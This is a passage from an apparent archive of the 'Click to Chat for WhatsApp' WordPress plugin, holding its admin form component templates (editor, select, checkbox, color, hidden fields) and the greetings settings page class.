        <p class="description"><?= $description ?></p>
    </div>
</div>click-to-chat-for-whatsapp/new/admin/components/editor_lite.php000064400000004115147510273110020663 0ustar00
<?php
/**
 * editor
 * 
 * 
 * $db_value is santized esc_attr - so call db again.. and reassing $db_value
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? $input['title'] : '';
$description = (isset($input['description'])) ? $input['description'] : '';
$label = (isset($input['label'])) ? $input['label'] : '';
$placeholder = (isset($input['placeholder'])) ? $input['placeholder'] : '';
$parent_style = (isset($input['parent_style'])) ? $input['parent_style'] : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';

if ( ! function_exists( 'ctc_tinymce_add_font_sizes' ) ) {
    function ctc_tinymce_add_font_sizes( $buttons ) {
        array_unshift( $buttons, 'fontselect' );
        array_unshift( $buttons, 'fontsizeselect' );
        return $buttons;
    }
}
add_filter( 'mce_buttons_2', 'ctc_tinymce_add_font_sizes' );


// db_value call again for editor. and santize using wp_kses
$db_value = ( isset( $options[$db_key]) ) ? $options[$db_key] : '';

if ( '' !== $db_value ) {
    $allowed_html = wp_kses_allowed_html( 'post' );
    $db_value = html_entity_decode(wp_kses($db_value, $allowed_html));
}

?>
<div class="row ctc_component_editor <?= $parent_class ?>" style="<?= $parent_style ?>">
<?php
if ( '' !== $title ) {
    ?>
    <p class="description ht_ctc_subtitle" style="margin-top: 12px;"><?php _e( $title, 'click-to-chat-for-whatsapp' ); ?> </p>
    <?php
}

?>
<?php

$content   = $db_value;
$editor_id = $db_key;
$args = [
    'textarea_name' => "$dbrow"."[$db_key]", 
    'textarea_rows' => 10,
    'editor_height' => 150,
    'media_buttons' => false,
    'teeny' => false,
    'tinymce'       => array(
        'toolbar1' => 'bold, link, italic, underline, forecolor, backcolor, fontsizeselect, fontselect, undo, redo, removeformat',
        'toolbar2' => false,
        'fontsize_formats' => "6px 8px 10px 12px 13px 14px 15px 16px 18px 20px 24px 28px 32px 36px",
    )
    ];

wp_editor( $content, $editor_id, $args );
?>
<p class="description"><?= $description ?></p>
</div>click-to-chat-for-whatsapp/new/admin/components/select.php000064400000003425147510273110017642 0ustar00<?php
/**
 * Color
 * 
 * 
 * list - is an array of values.. adding direclty..
 * list_cb - get from ht-h-list.php
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? $input['title'] : '';
$description = (isset($input['description'])) ? $input['description'] : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';
$parent_id = (isset($input['parent_id'])) ? $input['parent_id'] : '';

// list
$list = [];

if (isset($input['list'])) {
    $list = $input['list'];
} elseif (isset($input['list_cb'])) {
    $list_cb = $input['list_cb'];

    $lists_file = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/admin/components/list/ht-ctc-admin-list-page.php';
    if ( is_file( $lists_file ) ) {
        include_once $lists_file;
        $lists_instance = HT_CTC_Admin_List_Page::instance();
        $list = ( class_exists('HT_CTC_Admin_List_Page') && method_exists('HT_CTC_Admin_List_Page',$list_cb) ) ? $lists_instance->$list_cb() : [];
    }

}

?>
<div class="row ctc_component_select <?= $parent_class ?>" id="<?= $parent_id ?>" style="margin:0;">
    <?php
    if ( '' !== $title ) {
    ?>
    <p class="description"><?php _e( $title, 'click-to-chat-for-whatsapp' ); ?> </p>
    <?php
    }
    ?>
    <div class="row">
        <div class="input-field col s12">
            <select name="<?= $dbrow ?>[<?= $db_key ?>]" class="">
                <?php
                foreach ($list as $k => $v) {
                    ?>
                    <option value="<?= $k ?>" <?= $db_value == $k ? 'SELECTED' : ''; ?> ><?= $v ?></option>
                    <?php
                }
                ?>
            </select>
            <p class="description"><?= $description ?></p>
        </div>
    </div>
</div>click-to-chat-for-whatsapp/new/admin/components/editor.php000064400000006750147510273110017655 0ustar00
<?php
/**
 * editor
 * 
 * 
 * $db_value is santized esc_attr - so call db again.. and reassing $db_value
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? $input['title'] : '';
$description = (isset($input['description'])) ? $input['description'] : '';
$label = (isset($input['label'])) ? $input['label'] : '';
$placeholder = (isset($input['placeholder'])) ? $input['placeholder'] : '';
$parent_style = (isset($input['parent_style'])) ? $input['parent_style'] : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';


// function ctc_edit_quicktags( $qtInit, $editor_id = 'content' ) {
// 	$qtInit['buttons'] = 'strong,code,more,close';
// 	return $qtInit;
// }
// add_filter( 'quicktags_settings', 'ctc_edit_quicktags', 10, 2 );

// if ( ! function_exists( 'ctc_tiny_mce_toolbar_settings' ) ) {
//     function ctc_tiny_mce_toolbar_settings( $args ) {
//         $args['fontsize_formats'] = "6px 8px 10px 12px 13px 14px 15px 16px 18px 20px 24px 28px 32px 36px";
//         return $args;
//     }
// }
// add_filter( 'tiny_mce_before_init', 'ctc_tiny_mce_toolbar_settings' );

// if ( ! function_exists( 'ctc_tinymce_mce_buttons' ) ) {
//     function ctc_tinymce_mce_buttons( $buttons ) {
//         return $buttons;
//     }
// }
// add_filter( 'mce_buttons', 'ctc_tinymce_mce_buttons' );

if ( ! function_exists( 'ctc_tinymce_mce_buttons_2' ) ) {
    function ctc_tinymce_mce_buttons_2( $buttons ) {

        $key = array_search( 'forecolor', $buttons );
        
        // add after forecolor
        if ( $key !== false && is_int( $key ) ) {
            array_splice( $buttons, $key+1, 0, 'backcolor' );
        }

        // add at first
        array_unshift( $buttons, 'fontselect' );
        array_unshift( $buttons, 'fontsizeselect' );


        return $buttons;
    }
}
add_filter( 'mce_buttons_2', 'ctc_tinymce_mce_buttons_2' );

// db_value call again for editor. and santize using wp_kses
$db_value = ( isset( $options[$db_key]) ) ? $options[$db_key] : '';

if ( '' !== $db_value ) {
    $allowed_html = wp_kses_allowed_html( 'post' );

    // $allowed_html['iframe'] = array(
    //     'src'             => true,
    //     'height'          => true,
    //     'width'           => true,
    //     'frameborder'     => true,
    //     'allowfullscreen' => true,
    //     'title' => true,
    //     'allow' => true,
    //     'autoplay' => true,
    //     'clipboard-write' => true,
    //     'encrypted-media' => true,
    //     'gyroscope' => true,
    //     'picture-in-picture' => true,
    // );
    
    $db_value = html_entity_decode(wp_kses($db_value, $allowed_html));
}

?>
<div class="row ctc_component_editor <?= $parent_class ?>" style="<?= $parent_style ?>">
<p class="description ht_ctc_subtitle" style="margin-top: 2px;"><?php _e( $title, 'click-to-chat-for-whatsapp' ); ?> </p>
<?php

$content   = $db_value;
$editor_id = $db_key;
$args = [
    'textarea_name' => "$dbrow"."[$db_key]", 
    'textarea_rows' => 10,
    'editor_height' => 250,
    // 'media_buttons' => false,
    'drag_drop_upload' => true,
    'tinymce'       => array(
        'textarea_rows'=> 10,
        'fontsize_formats' => "6px 8px 10px 12px 13px 14px 15px 16px 18px 20px 24px 28px 32px 36px",
        'wordpress_adv_hidden' => false,
    )
    ];

wp_editor( $content, $editor_id, $args );
?>
<p class="description" style="padding-left: 0.9rem;"><?= $description ?></p>
</div>click-to-chat-for-whatsapp/new/admin/components/g_header_image.php000064400000005720147510273110021263 0ustar00<?php
/**
 * add image
 * 
 * @uses admin-greetings-page.php - header image.
 * 
 * @since 3.34
 */


if ( ! defined( 'ABSPATH' ) ) exit;

$hide_img = "";
$hide_remove_img_button = "";

// safe
$options = isset( $options ) && is_array( $options ) ? $options : array();

$g_header_image = isset( $options['g_header_image'] ) ? esc_attr( $options['g_header_image'] ) : '';

$g_header_online_status = (isset($options['g_header_online_status'])) ? 1 : '';
$g_header_online_status_color = isset( $options['g_header_online_status_color'] ) ? esc_attr( $options['g_header_online_status_color'] ) : '#06e376';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';


if ( '' == $g_header_image ) {
    $hide_img = "display:none;";
    $hide_remove_img_button = "display:none;";
}
?>

<div class="template_g_header_image <?= $parent_class ?>" style="margin-bottom:40px;">


    <div class="row row_g_header_image">
        <div class="col s12" style="display:flex; gap:8px; align-items:center;">
            <input type="hidden" name="<?= $dbrow ?>[g_header_image]" class="g_header_image" value="<?= $g_header_image ?>" />
            <img class="g_header_image_preview" style="width:48px; height:48px; border-radius:50%; <?= $hide_img ?>" src="<?= $g_header_image ?>" style="max-width: 100%;" />
            <input type="button" class="button-primary ctc_add_image_wp" value="Add Header Image" data-agent=""/>
            <input type="button" class="button-secondary ctc_remove_image_wp" style="margin: 0 1px; <?= $hide_remove_img_button ?>" value="Remove Image" data-agent=""/>
        </div>
    </div>

    <div class="row row_g_header_online_status" style="margin-bottom:0;">
        <div class="col s12">
            <label class="ctc_checkbox_label">
                <input class="g_header_online_status" name="<?php echo $dbrow ?>[g_header_online_status]" type="checkbox" value="1" <?php checked( $g_header_online_status, 1 ); ?> />
                <span><?php _e( 'Add Online Status badge at header image', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
        </div>
    </div>
    <div class="row_g_header_online_status_color">
        <div class="row ctc_side_by_side" style="margin-bottom:2px;">
            <div class="input-field col s6" style="margin-bottom:0;">
                <p calss="description" style="margin-bottom: 5px;">Online Status Badge Color</p>
                <input class="ht-ctc-color g_header_online_status_color" name="<?= $dbrow; ?>[g_header_online_status_color]" data-default-color="#06e376" value="<?= $g_header_online_status_color ?>" type="text">
            </div>
            <?php
            do_action('ht_ctc_ah_admin_header_status_badge' );
            ?>
        </div>
        <p class="description" style="margin-top:0;">PRO: Badge color based on <a target="_blank" href="<?= admin_url( 'admin.php?page=click-to-chat#ht_ctc_bh' ); ?>">business hours</a></p>
    </div>

</div>
click-to-chat-for-whatsapp/new/admin/components/collapsible_end.php000064400000000451147510273110021476 0ustar00<?php
/**
 * collapsible - end code
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$description = (isset($input['description'])) ? $input['description'] : '';

if ('' !== $description) {
    ?>
    <p class="description"><?= $description ?></p>
    <?php
}
?>

</div>
</li>
</ul>click-to-chat-for-whatsapp/new/admin/components/content.php000064400000001375147510273110020037 0ustar00<?php
/**
 * content template
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? $input['title'] : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';
$description = (isset($input['description'])) ? $input['description'] : '';

?>

<div class="row ctc_component_content <?= $parent_class ?>">
    <?php

    // title
    if ('' !== $title) {
        ?>
        <p class="description ht_ctc_subtitle"><?php _e( $title, 'click-to-chat-for-whatsapp' ); ?></p>
        <?php
    }

    // description
    if (isset($input['description'])) {
        ?>
        <p class="description"><?php _e( $description, 'click-to-chat-for-whatsapp' ); ?></p>
        <?php
    }

    ?>
</div>click-to-chat-for-whatsapp/new/admin/components/list/ht-ctc-admin-list-page.php000064400000002017147510273110023465 0ustar00<?php
/**
 * list .. 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_List_Page' ) ) :

class HT_CTC_Admin_List_Page {

    private static $instance = null;

    public static function instance() {
        if ( is_null( self::$instance ) ) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    function greetings_template() {

        /**
         * keys are like the file names (expect no)
         * Note: dont inclued 'pro' keyword in this list.
         */
        $values = array(
            'no' => __( '-- No Greetings Dialog --', 'click-to-chat-for-whatsapp'),
            'greetings-1' => __( 'Greetings-1 - Customizable Design', 'click-to-chat-for-whatsapp'),
            'greetings-2' => __( 'Greetings-2 - Content Specific', 'click-to-chat-for-whatsapp')
        );

        $values = apply_filters( 'ht_ctc_fh_greetings_templates', $values );

        return $values;
    }



}

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/components/checkbox.php000064400000001657147510273110020156 0ustar00<?php
/**
 * checkbox
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? esc_attr($input['title']) : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';
$label = (isset($input['label'])) ? $input['label'] : '';
$description = (isset($input['description'])) ? $input['description'] : '';



?>
<div class="row ctc_component_checkbox <?= $parent_class ?>">
    <div class="input-field col s12">
        <p>
            <label class="ctc_checkbox_label">
                <input name="<?= $dbrow ?>[<?= $db_key ?>]" type="checkbox" class="<?= $db_key ?>" value="1" <?php checked( $db_value, 1 ); ?> />
                <span><?= $title ?></span>
            </label>
        </p>
        <?php
        if ('' !== $description) {
            ?>
            <p class="description"><?= $description ?></p>
            <?php
        }
        ?>
    </div>
</div>click-to-chat-for-whatsapp/new/admin/components/element_details_end.php000064400000000220147510273110022335 0ustar00<?php
/**
 * template: add element details and summary - start
 * @since 3.35
 */

if ( ! defined( 'ABSPATH' ) ) exit;

?>

</details>click-to-chat-for-whatsapp/new/admin/components/color.php000064400000001751147510273110017501 0ustar00<?php
/**
 * Color
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? $input['title'] : '';
$default_color = (isset($input['default_color'])) ? $input['default_color'] : '';
$description = (isset($input['description'])) ? $input['description'] : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';



?>
<div class="row ctc_component_color <?= $parent_class ?>">
    <?php
    if ('' !== $title) {
        ?>
        <div class="col s6">
            <p><?= $title ?></p>
        </div>
        <?php
    }
    ?>
    <div class="input-field col s6">
        <input class="ht-ctc-color" name="<?= $dbrow ?>[<?= $db_key ?>]" data-default-color="<?= $default_color ?>" id="<?= $db_key ?>" value="<?= $db_value ?>" type="text">
        <?php
        if ('' !== $description) {
            ?>
            <p class="description"><?= $description ?></p>
            <?php
        }
        ?>
    </div>
</div>click-to-chat-for-whatsapp/new/admin/components/count.php000064400000000575147510273110017516 0ustar00<?php
/**
 * count field
 * useful to update the settings each time when save changes.. (even if settings or not changed) - to clear cache, ..
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$db_value = intval($db_value);
$db_value = ++$db_value;
?>
<div class="ctc_count">
    <input name="<?= $dbrow; ?>[count]" value="<?= $db_value; ?>" type="hidden" class="hide">
</div>click-to-chat-for-whatsapp/new/admin/components/element_details_start.php000064400000000562147510273110022735 0ustar00<?php
/**
 * template: add element details and summary - end
 * @since 3.35
 */
if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? esc_attr($input['title']) : '';
$description = (isset($input['description'])) ? $input['description'] : '';
?>

<details class="ctc_details">
    <summary style="margin-bottom:8px;"><?= $title ?></summary>click-to-chat-for-whatsapp/new/admin/components/empty.php000064400000000462147510273110017517 0ustar00<?php
/**
 * empty field. hidden type.. useful to save some value in table instead of keeping empty. to prevent some errors
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$db_value = '1';
?>
<input name="<?= $dbrow ?>[<?= $db_key ?>]" type="text" hidden style="display:none;" value="<?= $db_value ?>"/>click-to-chat-for-whatsapp/new/admin/components/h_field.php000064400000000331147510273110017746 0ustar00<?php
/**
 * template: hidden fields
 * 
 * @since 3.28
 */

if ( ! defined( 'ABSPATH' ) ) exit;

?>
<input name="<?= $dbrow ?>[<?= $db_key ?>]" type="hidden" style="display:none;" value="<?= $db_value ?>"/>click-to-chat-for-whatsapp/new/admin/components/text.php000064400000001412147510273110017341 0ustar00<?php
/**
 * text
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? $input['title'] : '';
$description = (isset($input['description'])) ? $input['description'] : '';
$label = (isset($input['label'])) ? $input['label'] : '';
$placeholder = (isset($input['placeholder'])) ? $input['placeholder'] : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';

?>
<div class="row ctc_component_text <?= $parent_class ?>">
    <div class="input-field col s12">
        <input name="<?= $dbrow ?>[<?= $db_key ?>]" type="text" value="<?= $db_value ?>" placeholder="<?= $placeholder ?>"/>
        <label for="pre_filled"><?= $label ?></label>
        <p class="description"><?= $description ?></p>
    </div>
</div>click-to-chat-for-whatsapp/new/admin/components/space.php000064400000000703147510273110017452 0ustar00<?php
/**
 * add space / line breaks
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$type = (isset($input['type'])) ? esc_attr($input['type']) : '';

if ('line' == $type) {
    ?>
    <br>
    <?php
} else if ('margin' == $type) {

    $margin_bottom = (isset($input['margin_bottom'])) ? "margin-bottom: " . esc_attr($input['margin_bottom']) . ";" : '';

    ?>
    <span style="display:block; <?= $margin_bottom ?>"></span>
    <?php
}click-to-chat-for-whatsapp/new/admin/class-ht-ctc-admin-greetings-page.php000064400000071704147510273110022455 0ustar00<?php
/**
 * Start page
 * 
 * Admin 
 * @since 1.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Greetings' ) ) :

class HT_CTC_Admin_Greetings {

    public $values = '';

    public function __construct() {
        $this->hooks();
    }

    public function hooks() {

        add_action('admin_menu', [$this, 'menu'] );


        // only if options.php or this settings page..
        // @admin_perfomance - if this method is not working then we can add at add_settings_section .. 

        // check for options.php, _GET page = click-to-chat-greetings
        $get_url = ( isset($_GET) && isset($_GET['page']) && 'click-to-chat-greetings' == $_GET['page'] ) ? true : false;

        $options_page = false;
        // if request url have options.php .. (or if requesturl is not set.. or empty ) then $options_page = true
        if ( isset($_SERVER['REQUEST_URI']) ) {
            if ( !empty($_SERVER['REQUEST_URI']) ) {
                if ( false !== strpos( $_SERVER['REQUEST_URI'], 'options.php' ) ) {
                    // if options.php page
                    $options_page = true;
                }
            } else {
                $options_page = true;
            }
        } else {
            $options_page = true;
        }

        if ( true == $options_page || true == $get_url ) {
            

            /**
             * 
             * fallback_values: 
             *  created this because 
             *   options_sanitize runs mulitiple times if settings field not exist
             *   https://core.trac.wordpress.org/ticket/21989
             *   due to this htmlentities calling twice at options_sanitize and changes values..  
             *   but untill user save the first settings, fallback values have to display at settings field.. for easy to understand
             *   so here we added option with key fallback_values - as need to load fallback values to display in input fileds as user not saved any values..
             */
            $ht_ctc_greetings_options = get_option('ht_ctc_greetings_options');
            if ( isset($ht_ctc_greetings_options['greetings_template']) || isset($ht_ctc_greetings_options['fallback_values']) ) {
            } else {
                $values = array(
                    'fallback_values' => 'yes',
                );
                add_option('ht_ctc_greetings_options', $values);
            }



            add_action('admin_init', [$this, 'settings'] );
        }

    }


    /**
     * 
     * Settings
     * 
     * class names
     *  pr_: parent element class name
     *  table class names - pr_ht_ctc_greetings_options, 
     *  parent_class
     *      pr_greetings_template (for template select)
     *      ctc_greetings_settings 
     *      greetings-1
     * 
     */
    public function settings_values() {

        include_once HT_CTC_PLUGIN_DIR . 'new/admin/db/defaults/class-ht-ctc-defaults-greetings.php';
        $default_greetings = new HT_CTC_Defaults_Greetings();

        $greetings_fallback_values = $default_greetings->greetings;
        $g1_fallback_values = $default_greetings->g_1;
        $g2_fallback_values = $default_greetings->g_2;
        $g_settings_fallback_values = $default_greetings->g_settings;


        $start_values = [
            'main' => [
                // settings filed - add_settings_field
                'id' => 'ht_ctc_greetings',
                'title' => __( 'Add Greetings Dialog', 'click-to-chat-for-whatsapp'),
                'dbrow' => 'ht_ctc_greetings_options',
                'fallback_values' => $greetings_fallback_values,
                'class' => 'pr_ht_ctc_greetings_options',
                'inputs' => [
                    // with in single add_settings_field add single or multiple things..
                    [
                        'title' => 'Greetings Dialog',
                        'db' => 'greetings_template',
                        'template' => 'select',
                        'description' => "",
                        'list_cb' => 'greetings_template',
                        'parent_class' => 'pr_greetings_template',
                        'description' => "<a href='https://holithemes.com/plugins/click-to-chat/greetings/' target='_blank'>Greetings</a> | <a href='https://holithemes.com/plugins/click-to-chat/greetings-1/' target='_blank'>Greetings-1</a> | <a href='https://holithemes.com/plugins/click-to-chat/greetings-2/' target='_blank'>Greetings-2</a> | <a href='https://holithemes.com/plugins/click-to-chat/greetings-form/' target='_blank'>Form Filling</a> | <a href='https://holithemes.com/plugins/click-to-chat/multi-agent/' target='_blank'>Multi Agent</a>",
                    ],
                    [
                        'template' => 'collapsible_start',
                        'collapsible' => 'no',
                        'ul_class' => 'g_content_collapsible ctc_init_display_none',
                        'title' => "Content: Header, Main, Bottom, Call to Action",
                    ],
                    [
                        'db' => 'empty',
                        'template' => 'empty',
                    ],
                    'header_content' => [
                        'title' => __( 'Header Content', 'click-to-chat-for-whatsapp'),
                        'db' => 'header_content',
                        'template' => 'editor',
                        'label' => 'Header Content',
                        'description' => 'Customize the font to improve the appearance (font size, color, etc.)',
                        'link_url' => '',
                        'link_title' => 'more info',
                        'parent_style' => "margin-bottom: 30px;",
                        'parent_class' => 'pr_header_content ctc_greetings_settings ctc_g_1 ctc_wp_editor',
                    ],
                    'g_header_image' => [
                        'template' => 'g_header_image',
                        'parent_class' => 'pr_g_header_image ctc_greetings_settings ctc_g_1',
                    ],
                    'main_content' => [
                        'title' => __( 'Main Content', 'click-to-chat-for-whatsapp'),
                        'db' => 'main_content',
                        'template' => 'editor',
                        'label' => 'Main Content',
                        'description' => "Variables: {site}, {title}, {url}",
                        'parent_style' => "margin-bottom: 40px;",
                        'parent_class' => 'pr_main_content ctc_greetings_settings ctc_g_1 ctc_g_2 ctc_wp_editor',
                    ],
                    'bottom_content' => [
                        'title' => __( 'Bottom Content', 'click-to-chat-for-whatsapp'),
                        'db' => 'bottom_content',
                        'template' => 'editor',
                        'label' => 'Bottom Content',
                        'description' => "&#128994; <a href='https://holithemes.com/plugins/click-to-chat/symbols/' target='_blank'>Symbols</a>",
                        'parent_style' => "margin-bottom: 30px;",
                        'parent_class' => 'pr_bottom_content ctc_greetings_settings ctc_g_1 ctc_g_2 ctc_wp_editor',
                    ],
                    [
                        'title' => __( 'Call to Action', 'click-to-chat-for-whatsapp'),
                        'db' => 'call_to_action',
                        'template' => 'text',
                        'label' => 'Call to Action',
                        'description' => __( 'Call to Action (Button/Link Text)', 'click-to-chat-for-whatsapp'),
                        'parent_class' => 'pr_call_to_action ctc_greetings_settings ctc_g_1 ctc_g_2',
                    ],
                    [
                        'template' => 'collapsible_end',
                    ],
                ]
            ],
            'greetings_1' => [
                'id' => 'ht_ctc_greetings_1',
                'title' => __( 'Greetings Dialog - 1', 'click-to-chat-for-whatsapp'),
                'dbrow' => 'ht_ctc_greetings_1',
                'fallback_values' => $g1_fallback_values,
                'class' => 'pr_ht_ctc_greetings_1 ctc_greetings_settings',
                'inputs' => [
                    [
                        'template' => 'collapsible_start',
                        'title' => __( 'Greetings-1 - Customizable Design', 'click-to-chat-for-whatsapp'),
                    ],
                    [
                        'db' => 'empty',
                        'template' => 'empty',
                    ],
                    [
                        'title' => __( 'Header - Background Color', 'click-to-chat-for-whatsapp'),
                        'db' => 'header_bg_color',
                        'template' => 'color',
                        'default_color' => '#075e54',
                        'description' => 'Header - Background Color',
                        'parent_class' => 'pr_g1_header_bg_color',
                    ],
                    [
                        'title' => __( 'Main Content - Background Color', 'click-to-chat-for-whatsapp'),
                        'db' => 'main_bg_color',
                        'template' => 'color',
                        'default_color' => '#ece5dd',
                        'description' => 'Main Content - Background Color',
                        'parent_class' => 'pr_g1_main_bg_color',
                    ],
                    [
                        'title' => __( 'Message Box - Background Color', 'click-to-chat-for-whatsapp'),
                        'db' => 'message_box_bg_color',
                        'template' => 'color',
                        'default_color' => '#dcf8c6',
                        'description' => 'Main Content as a Message Box with Background Color',
                        'parent_class' => 'pr_g1_message_box_bg_color',
                    ],
                    [
                        'title' => 'Background image, Call to Action - button type',
                        'template' => 'element_details_start',
                    ],
                    [
                        'title' => __( 'Background image', 'click-to-chat-for-whatsapp'),
                        'db' => 'main_bg_image',
                        'template' => 'checkbox',
                        'description' => 'Add WhatsApp like Background image to main content. ',
                        'parent_class' => 'pr_main_bg_image',
                    ],
                    [
                        'title' => __( 'Call to Action - button type', 'click-to-chat-for-whatsapp'),
                        'db' => 'cta_style',
                        'template' => 'select',
                        'description' => "Call to Action - button type ('Click to Chat' -> Customize)",
                        'list' => [
                            '1' => __( 'Themes Button (style-1)', 'click-to-chat-for-whatsapp'),
                            '7_1' => __( 'Button with WhatsApp Icon (style-7 Extend)', 'click-to-chat-for-whatsapp'),
                        ],
                        'parent_class' => 'pr_g1_cta_style',
                    ],
                    [
                        'template' => 'element_details_end',
                        'description' => "<a href='https://holithemes.com/plugins/click-to-chat/greetings-1/' target='_blank'>Greetings-1</a>",
                    ],
                    [
                        'template' => 'collapsible_end',
                        'description' => "<a href='https://holithemes.com/plugins/click-to-chat/greetings-1/' target='_blank'>Greetings-1</a>",
                    ],
                ]
            ],
            'greetings_2' => [
                'id' => 'ht_ctc_greetings_2',
                'title' => __( 'Greetings Dialog - 2', 'click-to-chat-for-whatsapp'),
                'dbrow' => 'ht_ctc_greetings_2',
                'fallback_values' => $g2_fallback_values,
                'class' => 'pr_ht_ctc_greetings_2 ctc_greetings_settings',
                'inputs' => [
                    [
                        'template' => 'collapsible_start',
                        'title' => __( 'Greetings-2 - Content Specific', 'click-to-chat-for-whatsapp'),
                    ],
                    [
                        'db' => 'empty',
                        'template' => 'empty',
                    ],
                    [
                        'title' => 'Background Color',
                        'db' => 'bg_color',
                        'template' => 'color',
                        'default_color' => '#ffffff',
                        'description' => 'Greetings Dialog Background Color',
                        'parent_class' => 'pr_g2_bg_color greetings-2',
                    ],
                    [
                        'template' => 'collapsible_end',
                        'description' => "<a href='https://holithemes.com/plugins/click-to-chat/greetings-2/' target='_blank'>Greetings-2</a> <br> Customize 'Call to Action' button from 'Click to Chat' -> Customize - Style-1 ",
                    ],
                ]
            ],
            'greetings_settings' => [
                'id' => 'ht_ctc_greetings_settings',
                'title' => 'Additional Settings',
                'dbrow' => 'ht_ctc_greetings_settings',
                'fallback_values' => $g_settings_fallback_values,
                'class' => 'pr_ht_ctc_greetings_settings ctc_greetings_settings',
                'inputs' => [
                    [
                        'db' => 'empty',
                        'template' => 'empty',
                    ],
                    [
                        'db' => 'count',
                        'template' => 'count',
                    ],
                    [
                        'template' => 'collapsible_start',
                        'collapsible' => 'no',
                        'ul_class' => 'ctc_g_opt_in',
                        'title' => __( 'Opt-in', 'click-to-chat-for-whatsapp'),
                    ],
                    [
                        'title' => __( 'Opt-in', 'click-to-chat-for-whatsapp'),
                        'db' => 'is_opt_in',
                        'template' => 'checkbox',
                        'description' => __( "Get website visitors consent before initiating the chat.", 'click-to-chat-for-whatsapp') . " <br> " . __( "Once the website visitor opt-in, the consent prompt will not reappear", 'click-to-chat-for-whatsapp') . " - <a href='https://holithemes.com/plugins/click-to-chat/opt-in/' target='_blank'>Opt-in</a>",
                        'parent_class' => 'pr_is_opt_in',
                    ],
                    [
                        'title' => '',
                        'db' => 'opt_in',
                        'template' => 'editor_lite',
                        'label' => 'Opt-in',
                        'description' => '',
                        'parent_style' => "margin-bottom: 20px;",
                        'parent_class' => 'pr_opt_in ctc_greetings_settings ctc_wp_editor',
                    ],
                    [
                        'template' => 'collapsible_end',
                    ],
                    [
                        'title' => __( 'Display', 'click-to-chat-for-whatsapp'),
                        'db' => 'g_device',
                        'template' => 'select',
                        'description' => __( 'Display Greetings Dialog based on device', 'click-to-chat-for-whatsapp'),
                        'list' => [
                            'all' => __( 'Desktop and Mobile', 'click-to-chat-for-whatsapp'),
                            'desktop' => __( 'Desktop Only', 'click-to-chat-for-whatsapp'),
                            'mobile' => __( 'Mobile Only', 'click-to-chat-for-whatsapp')
                        ],
                        'parent_class' => 'pr_g_device',
                    ],
                    [
                        'title' => __( 'Greetings dialog Size', 'click-to-chat-for-whatsapp'),
                        'db' => 'g_size',
                        'template' => 'select',
                        'list' => [
                            's' => 'Small',
                            'm' => 'Desktop: Medium, Mobile: Full width',
                            'l' => 'Desktop: Large, Mobile: Full width',
                        ]
                    ],
                    [
                        'title' => __( 'Initial stage', 'click-to-chat-for-whatsapp'),
                        'db' => 'g_init',
                        'template' => 'select',
                        'description' => "Preset: automatically opens on desktops and stays closed on mobile devices.. <br> Open: Initially visible. If the user closes the dialog, it stays closed until the user reopens it or triggers greeting actions <br> Close: hidden until the user initiates chat or triggers greeting actions - <a target='_blank' href='https://holithemes.com/plugins/click-to-chat/greetings-initial-stage'>more info</a>",
                        'list' => [
                            'default' => 'Preset',
                            'open' => 'Open',
                            'close' => 'Close',
                        ],
                        'parent_id' => 'g_init',
                        'parent_class' => 'pr_g_init',
                    ],
                ]
            ]

        ];

        $start_values = apply_filters( 'ht_ctc_fh_greetings_setting_values', $start_values );

        return $start_values;
    }


    function settings_cb($s) {

        $dbrow = $s['dbrow'];

        $fallback_values = '';
        if (isset($s['fallback_values'])) {
            $fallback_values = $s['fallback_values'];
        }

        $options = get_option($dbrow, $fallback_values);

        if (isset($options['fallback_values'])) {
            $options = $fallback_values;
        }

        $inputs = $s['inputs'];

        foreach ($inputs as $input) {

            if (isset($input['template'])) {

                $db_key = '';
                $db_value = '';
                if (isset($input['db'])) {
                    $db_key = $input['db'];
                    $db_value = ( isset( $options[$db_key]) ) ? esc_attr( $options[$db_key] ) : '';
                }

                $template = $input['template'];

                $components = (isset($input['path'])) ? $input['path'] : HT_CTC_PLUGIN_DIR ."new/admin/components";

                $path = "$components/$template.php";

                if ( is_file( $path ) ) {
                    include $path;
                }

            }


        }


    }


    public function menu() {

        add_submenu_page(
            'click-to-chat',
            'Greetings',
            'Greetings',
            'manage_options',
            'click-to-chat-greetings',
            array( $this, 'settings_page' )
        );
    }

    public function settings_page() {

        if ( ! current_user_can('manage_options') ) {
            return;
        }

        ?>

        <div class="wrap ctc-admin-greetings-page">

            <?php settings_errors(); ?>

            <!-- full row -->
            <div class="row" style="display:flex; flex-wrap:wrap;">

                <div class="col s12 m12 xl8 options">
                    <form action="options.php" method="post" class="">
                        <?php settings_fields( 'ht_ctc_greetings_page_settings_fields' ); ?>
                        <?php do_settings_sections( 'ht_ctc_greetings_page_settings_section' ) ?>
                        <?php submit_button() ?>
                    </form>
                </div>

                <!-- sidebar content -->
